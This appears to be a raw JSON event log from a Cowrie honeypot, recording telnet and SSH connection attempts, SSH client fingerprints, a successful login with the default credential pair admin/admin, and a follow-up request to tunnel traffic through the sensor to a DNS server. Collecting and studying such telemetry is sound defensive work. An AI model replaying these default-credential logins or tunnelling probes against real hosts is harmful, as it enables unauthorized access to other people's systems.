{"eventid":"cowrie.session.closed","duration":36.03176951408386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:28.737120Z","src_ip":"64.227.9.242","session":"5a219423e30c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64233160018921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:31.190061Z","src_ip":"103.208.219.59","session":"af336d302f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e92f62a40b","protocol":"telnet","message":"New connection: 188.208.141.113:53334 (10.17.0.5:23) [session: e3e92f62a40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:31.952864Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53342,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d7752794a8","protocol":"telnet","message":"New connection: 188.208.141.113:53342 (10.17.0.5:23) [session: 75d7752794a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:33.745496Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53360,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4634c394d55","protocol":"telnet","message":"New connection: 103.208.219.59:53360 (10.17.0.5:23) [session: b4634c394d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:34.027378Z"}
{"eventid":"cowrie.session.closed","duration":3.9387969970703125,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:35.891537Z","src_ip":"188.208.141.113","session":"e3e92f62a40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53352,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffc7a90b4c5","protocol":"telnet","message":"New connection: 188.208.141.113:53352 (10.17.0.5:23) [session: cffc7a90b4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:38.791515Z"}
{"eventid":"cowrie.session.closed","duration":31.272711277008057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:39.575564Z","src_ip":"103.208.219.59","session":"64ceed6a2417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2bdfb8435c7","protocol":"telnet","message":"New connection: 188.208.141.113:37140 (10.17.0.5:23) [session: a2bdfb8435c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:43.173211Z"}
{"eventid":"cowrie.session.closed","duration":4.770496845245361,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:43.561879Z","src_ip":"188.208.141.113","session":"cffc7a90b4c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.42703557014465,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:43.716389Z","src_ip":"188.208.141.113","session":"0fc4ab561a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33944,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d895c6e63e","protocol":"telnet","message":"New connection: 103.208.219.59:33944 (10.17.0.5:23) [session: 55d895c6e63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:46.071934Z"}
{"eventid":"cowrie.session.closed","duration":45.101832151412964,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:47.976238Z","src_ip":"188.208.141.113","session":"e8625cdf6f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37142,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f8436e5e72","protocol":"telnet","message":"New connection: 188.208.141.113:37142 (10.17.0.5:23) [session: f7f8436e5e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:48.760613Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da612065ff5","protocol":"telnet","message":"New connection: 188.208.141.113:37146 (10.17.0.5:23) [session: 7da612065ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:48.830832Z"}
{"eventid":"cowrie.session.closed","duration":6.645111322402954,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:49.818172Z","src_ip":"188.208.141.113","session":"a2bdfb8435c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.50736927986145,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:52.417281Z","src_ip":"188.208.141.113","session":"bd7c318094af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37032,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cc8f20dbc61","protocol":"telnet","message":"New connection: 188.208.141.113:37032 (10.17.0.5:23) [session: 2cc8f20dbc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:57.017076Z"}
{"eventid":"cowrie.session.closed","duration":39.57104277610779,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:57.732370Z","src_ip":"188.208.141.113","session":"c20cbb3fa148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":40932,"dst_ip":"10.17.0.5","dst_port":23,"session":"86212cf054fc","protocol":"telnet","message":"New connection: 69.65.3.189:40932 (10.17.0.5:23) [session: 86212cf054fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:59.645499Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37036,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1987b9774a","protocol":"telnet","message":"New connection: 188.208.141.113:37036 (10.17.0.5:23) [session: 0f1987b9774a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:50:59.975982Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54560,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5bfd9eae92","protocol":"telnet","message":"New connection: 188.208.141.113:54560 (10.17.0.5:23) [session: ae5bfd9eae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:02.921182Z"}
{"eventid":"cowrie.session.closed","duration":31.47553539276123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:05.502615Z","src_ip":"103.208.219.59","session":"b4634c394d55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54568,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6363bb03f5","protocol":"telnet","message":"New connection: 188.208.141.113:54568 (10.17.0.5:23) [session: da6363bb03f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:06.376194Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":50020,"dst_ip":"159.203.135.109","dst_port":23,"session":"452e1fc4a087","protocol":"telnet","message":"New connection: 98.70.41.28:50020 (159.203.135.109:23) [session: 452e1fc4a087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:07.017582Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54576,"dst_ip":"10.17.0.5","dst_port":23,"session":"835615fa1f71","protocol":"telnet","message":"New connection: 188.208.141.113:54576 (10.17.0.5:23) [session: 835615fa1f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:08.351943Z"}
{"eventid":"cowrie.session.closed","duration":43.34007668495178,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:11.470202Z","src_ip":"188.208.141.113","session":"fd1e6c04387c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97739624977112,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:11.722760Z","src_ip":"188.208.141.113","session":"75d7752794a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33233141899109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:17.404134Z","src_ip":"103.208.219.59","session":"55d895c6e63e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42826,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc57f816d73","protocol":"telnet","message":"New connection: 188.208.141.113:42826 (10.17.0.5:23) [session: cbc57f816d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:25.945621Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42840,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ff517c2af0","protocol":"telnet","message":"New connection: 188.208.141.113:42840 (10.17.0.5:23) [session: e1ff517c2af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:27.362659Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42848,"dst_ip":"10.17.0.5","dst_port":23,"session":"181ab65a1848","protocol":"telnet","message":"New connection: 188.208.141.113:42848 (10.17.0.5:23) [session: 181ab65a1848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:27.443416Z"}
{"eventid":"cowrie.session.closed","duration":2.4611778259277344,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:29.904455Z","src_ip":"188.208.141.113","session":"181ab65a1848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.474520683288574,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:31.235025Z","src_ip":"188.208.141.113","session":"f7f8436e5e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.186201810836792,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:33.131729Z","src_ip":"188.208.141.113","session":"cbc57f816d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00351142883301,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:33.648886Z","src_ip":"69.65.3.189","session":"86212cf054fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.30031418800354,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:37.131011Z","src_ip":"188.208.141.113","session":"7da612065ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27838969230652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:38.295868Z","src_ip":"98.70.41.28","session":"452e1fc4a087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52880501747131,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:39.504677Z","src_ip":"188.208.141.113","session":"0f1987b9774a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38870,"dst_ip":"10.17.0.5","dst_port":23,"session":"af4636682109","protocol":"telnet","message":"New connection: 188.208.141.113:38870 (10.17.0.5:23) [session: af4636682109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:40.820542Z"}
{"eventid":"cowrie.session.closed","duration":36.14263558387756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:42.518647Z","src_ip":"188.208.141.113","session":"da6363bb03f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.52598309516907,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:42.542949Z","src_ip":"188.208.141.113","session":"2cc8f20dbc61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16063594818115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:44.512486Z","src_ip":"188.208.141.113","session":"835615fa1f71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.65995502471924,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:45.580999Z","src_ip":"188.208.141.113","session":"ae5bfd9eae92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42624,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e8a4125257","protocol":"telnet","message":"New connection: 64.227.9.242:42624 (159.203.135.109:23) [session: e7e8a4125257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:46.676599Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0280acbb17c0","protocol":"telnet","message":"New connection: 64.227.9.242:55748 (159.203.135.109:23) [session: 0280acbb17c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:51:56.461456Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22054,"dst_ip":"10.17.0.5","dst_port":22,"session":"33dca66f419c","protocol":"ssh","message":"New connection: 87.251.64.176:22054 (10.17.0.5:22) [session: 33dca66f419c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:02.447842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:02.453363Z","src_ip":"87.251.64.176","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:02.550477Z","src_ip":"87.251.64.176","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:02.840560Z","src_ip":"87.251.64.176","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:02.940486Z","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:03.038833Z","src_ip":"87.251.64.176","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:03.138414Z","src_ip":"87.251.64.176","session":"33dca66f419c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e2835dac3ac","protocol":"telnet","message":"New connection: 188.208.141.113:43202 (10.17.0.5:23) [session: 1e2835dac3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:03.710727Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d29603ba22","protocol":"telnet","message":"New connection: 188.208.141.113:43212 (10.17.0.5:23) [session: b2d29603ba22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:10.123415Z"}
{"eventid":"cowrie.session.closed","duration":47.927133321762085,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:15.289696Z","src_ip":"188.208.141.113","session":"e1ff517c2af0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.986576557159424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:17.806998Z","src_ip":"188.208.141.113","session":"af4636682109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42912,"dst_ip":"10.17.0.5","dst_port":23,"session":"8192b90be86e","protocol":"telnet","message":"New connection: 188.208.141.113:42912 (10.17.0.5:23) [session: 8192b90be86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:20.085896Z"}
{"eventid":"cowrie.session.closed","duration":33.632360219955444,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:20.308840Z","src_ip":"64.227.9.242","session":"e7e8a4125257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58914,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc64464f358a","protocol":"telnet","message":"New connection: 188.208.141.113:58914 (10.17.0.5:23) [session: fc64464f358a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:30.644852Z"}
{"eventid":"cowrie.session.closed","duration":35.85216307640076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:32.313493Z","src_ip":"64.227.9.242","session":"0280acbb17c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58916,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb46e03e40d6","protocol":"telnet","message":"New connection: 188.208.141.113:58916 (10.17.0.5:23) [session: cb46e03e40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:39.522029Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33512,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa35ac6f17a","protocol":"telnet","message":"New connection: 188.208.141.113:33512 (10.17.0.5:23) [session: 6fa35ac6f17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:46.953975Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33526,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f0eb9705f5","protocol":"telnet","message":"New connection: 188.208.141.113:33526 (10.17.0.5:23) [session: 18f0eb9705f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:48.858856Z"}
{"eventid":"cowrie.session.closed","duration":45.90196776390076,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:49.612579Z","src_ip":"188.208.141.113","session":"1e2835dac3ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6734256744384766,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:50.627295Z","src_ip":"188.208.141.113","session":"6fa35ac6f17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":29589,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c8f7a484955","protocol":"ssh","message":"New connection: 193.24.211.95:29589 (159.203.135.109:22) [session: 5c8f7a484955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:52.578790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:52.582586Z","src_ip":"193.24.211.95","session":"5c8f7a484955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:52.689982Z","src_ip":"193.24.211.95","session":"5c8f7a484955","protocol":"ssh"}
